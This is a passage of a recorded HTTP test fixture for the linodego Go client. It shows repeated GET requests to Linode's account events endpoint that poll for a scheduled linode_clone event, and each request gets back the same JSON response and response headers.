https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": 